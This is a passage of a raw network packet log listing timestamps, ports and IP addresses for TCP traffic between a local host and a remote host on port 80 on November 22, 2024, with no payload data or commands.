Nov 22, 2024 04:12:12.358123064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.358361006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.359205961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.359262943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.359319925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.359370947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.360393047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.360445023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.360485077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.360532999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.361578941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.361634970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.361682892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.361732006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.362761021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.362812042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.362865925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.362951994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.363935947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.364052057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.364103079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.365128994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.365226030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.365291119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.366306067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.366357088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.366400957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.366945982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.367502928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.367553949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.367616892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.367666006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.368727922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.368828058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.368839979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.368896961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.369874001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.369925976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.369966030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.370028973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.371049881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.371175051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.371232986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.372263908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.372365952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.372430086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.373430967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.373578072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.373641968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.374612093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.374669075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.374713898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.374766111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.375828028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.375930071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.375974894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.377000093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.377053022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.377099037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.377146959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.378175974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.378237963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.378283978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.378333092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.379364014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.379476070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.379524946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.380538940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.380645037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.380695105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.381730080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.381778955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.381839991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.381891966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.382921934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.382972956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.383018017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.383074045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.384085894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.384186029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.384188890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.384231091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.385329008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.385392904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.385411978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.385462999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.386476994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.386584997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.386639118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.387654066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.387770891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.387805939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.388843060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.388958931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.389022112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.390024900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.390086889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.390146017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.391213894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.391273975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.391316891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.391369104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.392395973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.392446041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.392525911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.392579079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.393589973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.393660069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.393699884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.393750906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.394756079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.394808054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.394856930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.394905090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.395955086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.396007061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.396049976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.396100998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.397130966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.397234917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.397320986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.398312092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.398457050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.398519993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.399502039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.399557114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.399604082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.399652958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.400682926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.400768995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.400794029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.401186943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.401875019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.401926994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.402013063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.402064085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.403067112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.403115988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.403160095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.403211117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.404239893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.404292107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.404335022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.404385090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.405430079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.405546904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.405613899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.406630993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.406730890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.406785965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.407805920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.407869101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.407910109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.407963991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.408998013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.409060955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.409079075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.409130096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.549083948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.549278021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.549349070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.549621105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.549715042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.549767971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.550800085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.550854921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.550899982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.551047087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.551938057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.552018881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.552052021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.552103996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.553128958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.553180933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.553252935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.553302050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.554292917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.554342031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.554403067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.554450035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.555473089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.555591106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.555644989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.556667089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.556772947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.556826115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.557831049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.557878017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.557945013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.559026957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.559132099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.559149027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.559186935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.560218096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.560272932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.560317993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.560364008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.561388016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.561433077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.561501026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.561547995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.562571049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.562638044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.562669992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.562722921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.563801050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.563910007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.563961029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.564953089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.565082073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.565131903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.566123962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.566174984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.566262960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.567047119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.567331076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.567380905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.567440033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.567487955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.568496943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.568543911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.568593979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.569686890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.569745064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.569788933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.570873976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.570924997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.570981026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.571032047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.572051048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.572158098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.572202921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.573246002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.573369026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.573420048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.574413061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.574467897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.574513912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.575045109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.575614929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.575663090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.575726032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.575777054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.576780081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.576826096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.576891899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.578011036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.578061104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.578104019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.579044104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.579139948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.579252958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.579302073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.580332041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.580384016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.580429077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.581500053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.581548929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.581626892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.582717896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.582767010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.582870007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.582918882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.583884001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.584002972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.584054947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.585067987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.585213900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.585262060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.586261988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.586312056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.586355925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.587040901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.587429047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.587480068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.587538958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.587588072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.588629007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.588679075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.588722944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.589817047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.589865923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.589922905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.590986967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.591041088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.591120005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.591170073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.592164993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.592247963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.592298985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.593336105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.593456030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.593512058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.594528913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.594595909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.594635963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.595721960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.595776081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.595846891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.596899986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.596947908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.597008944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.597059011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.598072052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.598193884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.598248005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.599256992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.599370956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.599419117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.600455046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.600502968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.600575924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.601628065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.601679087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.601743937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.602818966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.602865934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.602935076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.602981091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.604005098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.604124069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.604183912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.605185032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.605302095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.605356932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.606376886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.606481075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.606548071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.607547998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.607666969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.607722998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.608741999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.608849049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.608869076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.609935999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.609988928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.610038996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.611047029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.611073971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.615052938 CET	49760	80	192.168.2.4	31.41.244.11
